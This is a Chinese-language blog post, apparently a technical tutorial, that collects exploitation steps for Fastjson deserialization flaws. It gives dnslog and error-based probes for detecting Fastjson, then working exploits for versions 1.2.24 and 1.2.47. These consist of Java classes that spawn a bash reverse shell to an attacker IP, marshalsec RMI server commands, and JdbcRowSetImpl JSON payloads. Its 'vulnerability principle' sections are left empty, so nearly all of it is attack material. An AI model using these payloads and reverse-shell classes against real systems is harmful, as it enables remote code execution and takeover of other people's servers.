fastjson漏洞合集以及是否使用组件判断

判断是否使用了fastjson组件:
        (1)通过报错
            { 
                "name":"asd";
            通过不把}闭合,来导致报错
        (2)查看其fastjson的版本
            [
                {
                    "a":"a\x] {"@type":"java.lang.AutoCloseable"a
        (3)通过dnslog来判断是否使用了fastjson
            1.2.67版本前
            {"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
            1.2.67版本后
            {"@type":"java.net.Inet4Address","val":"dnslog"}
            {"@type":"java.net.Inet6Address","val":"dnslog"}
    1.fastjson 1.2.24 反序列化导致任意命令执行漏洞
        (1)漏洞版本:1.2.24之前
        (2)漏洞原理:
        (3)利用方法:
            1>编写一个exp.java文件
                import java.lang.Runtime;
                import java.lang.Process;

                public class exp {
                    static {
                        try{
                            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.10.7/2233 0>&1");
                        }catch(Exception e){
                            e.printStackTrace();
                        }
                    }
                }
                javac编译
            2>将class文件放到http服务目录下
            3>使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个rmi或者ladp服务
                java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.7/#exp" 8000
            4>开启监听2233端口
            5>在数据包中加入json的poc
                {
                    "naraku":{
                        "@type":"com.sun.rowset.JdbcRowSetImpl",
                        "dataSourceName":"rmi://192.168.10.7/exp",
                        "autoCommit":true
                    }
                }
            6>则会发现rmi服务会有回显,而且shell会反弹回来
    2.Fastjson 1.2.47 远程命令执行漏洞
        (1)漏洞版本:1.2.48以前
        (2)漏洞原理:
        (3)利用方式:
            1)写一个java文件
                import java.lang.Runtime;
                import java.lang.Process;

                public class poc {
                    static {
                        try {
                            Runtime rt = Runtime.getRuntime();
                            String commands = "/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.10.7/2233 0>&1";
                            Process pc = rt.exec(commands);
                            pc.waitFor();
                        } catch (Exception e) {
                            // do nothing
                        }
                    }
                }
                编译成class,放到http目录下
            2)开启监听2233端口
            3)开启一个rmi服务
                java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.7/#poc" 8000
            4)加入json格式的poc发送数据包
                {
                    "a":{
                        "@type":"java.lang.Class",
                        "val":"com.sun.rowset.JdbcRowSetImpl"
                    },
                    "b":{
                        "@type":"com.sun.rowset.JdbcRowSetImpl",
                        "dataSourceName":"rmi://192.168.10.7:8001/poc",
                        "autoCommit":true
                    }
                }
                则会发现rmi服务会有回显,而且shell会反弹回来

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值